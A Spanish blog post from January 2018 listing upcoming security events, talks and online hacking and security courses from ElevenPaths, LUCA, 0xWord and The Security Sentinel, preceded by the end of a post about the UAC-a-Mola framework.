Por último, queríamos dejaros el video del Cybercamp 2017 dónde se habló de uac-a-mola framework.


Figura 9: Conferencia en CyberCamp 2017 sobre UAC-a-Mola

Autor: Pablo González Pérez (@pablogonzalezpe), escritor de los libros "Metasploit para Pentesters", "Ethical Hacking", "Got Root", “Pentesting con Powershell” y Hacking Windows, Microsoft MVP en Seguridad y Security Researcher en ElevenPaths

miércoles, enero 10, 2018

Primeras citas del año con @ElevenPaths @LUCA_d3 @0xWord y @TSSentinel

Este miércoles día 10 de Enero por la tarde tienes la primera cita con nosotros, y a lo largo de Enero hay algunas fechas en las que ya tenemos eventos, cursos, vídeo conferencias, charlas, etcétera. Como siempre, os dejó aquí en las que participamos desde ElevenPaths, LUCA D3, 0xWord o mis compañeros de Telefónica.

Figura 1: Primeras citas del año con @ElevenPaths @LUCA_d3 @0xWord y @TSSentinel

La primera cita, como os anticipaba tiene lugar hoy 10 de Enero por la tarde y es de ElevenPaths. Se trata del primer CodeTalk for Developers en el que nuestro compañero Javier Espinosa explicará esta misma tarde a los desarrolladores cómo utilizar los Limited Secrets en Latch. Esto permite distribuir Secretos de Latch con permisos reducidos, lo que habilita que se puedan crear apps para dispositivos móviles en los que se pueda distribuir el Secreto de un AppID sin que sea necesario crear una nueva app en Latch por cada instancia instalada.

Figura 2: 10 de Enero, CodeTalk 4 Devs sobre Limited Secrets en Latch

Esta técnica la hemos utilizado, por ejemplo, en Latch ARW, y en el artículo del blog de ElevenPaths explicamos  cómo usar los Limited Secrets en Latch someramente, pero en la sesión podrás ver a uno de nuestros mejores ingenieros en acción utilizándolos.

El día 16 de Enero tenemos la primera LUCA Talk del año, donde presentaremos Pigram, un servicio que permite a los usuarios de Telefónica (y cualquier otra Telco) publicar en redes sociales o enviar e-mails cuando no hay conexión a Internet o cobertura de datos a través de redes 3G/4G. Este servicio facilita la comunicación por Internet en diversos escenarios cuando la cobertura de datos no existe o desaparece como, por ejemplo, en situaciones de emergencia o desastres naturales.

Figura 3: 16 de Enero, LUCA Talk sobre Pigram

El webinar consistirá en una sesión explicativa de 30 - 35 minutos seguido de un Q&A en el que podrás participar y preguntar todas las dudas que tengas. Santiago Hernández es investigador en ciberseguridad en Eleven Paths/Telefónica. Tienes más info de Pigram en este artículo.

El día 18 de Enero, en The Security Sentinel, da comienzo el Curso Online de Seguridad en Redes, que tendrá una duración de 6 semanas en las que se tocan en profundidad los conceptos en entornos como la Seguridad WiFi, el Hacking y la seguridad VoIP, las tecnologías de routing, switching y firewalling y cómo aplicarlas en entornos de fortificación.

Figura 4: Curso Online de Seguridad en Redes

Los alumnos de este curso online recibirán como material de apoyo el libro de 0xWord centrada en la Seguridad en los entornos de control industrial y las infraestructuras críticas.

Los días 25, 26 y 27 de Enero llega la Sh3llCON en Santander. Este año será la primera vez que participe yo, aunque será vía Vídeo Conferencia, ya que la agenda no me permite desplazarme hasta allí. No obstante, la lista de ponentes es brutal, y estarán compañeros y amigos como Juan Garrido "Silverhack", David Barroso, Daniel Echeverryi, Álvaro Núñez o Pablo González.

Figura 5: Sh3llCON en Santander

En el evento colabora 0xWord, por lo que habrá algunos libros de regalo para sortear, y habrá un stand en el que los autores se sentarán un rato a firmar los ejemplares a todos los que queráis. Así que podéis ir allí a conseguir la dedicatoria de tu copia.

El día 26 de Enero da comienzo la primera edición de 2018 del Curso Online de Hacking con PHP, en el que durante 8 semanas se tratarán temas de Ethical Hacking Avanzado. Entre otros, las vulnerabilidades SQL Injection, con su detección, explotación y mitigación.

Figura 6: Curso Online de Hacking con PHP

Como complemento de este curso se entrega a todos los alumnos nuestro libro de 0xWord centrado en Hacking Web: SQL Injection. Y si lo quieres dedicado y firmado con un NoLusers, pídelo en el registro y yo te lo preparo con "mucha malignidad".

Y para terminar, el día 29 de Enero da comienzo el Curso Online de Hacking Ético Experto, que tendrá una duración de 9 semanas y en el que se entregará como material de apoyo el libro de Pentesting con PowerShell.

Figura 7: Curso Online de Hacking Ético Experto

Y esto es todo lo que tenemos por ahora en Enero, que para acabar de comenzar el año no está nada mal. Recuerda, esta misma tarde tienes la primera cita. No te olvides.

Saludos Malignos!

Entrada destacada

Gracias 2017. Por todo lo que me has dado.

Hoy doy por concluido el año 2017 . Sí, sé que quedan días, pero para mí ha tocado ya la campana de las vacaciones, y quiero tomármelas com...

Entradas populares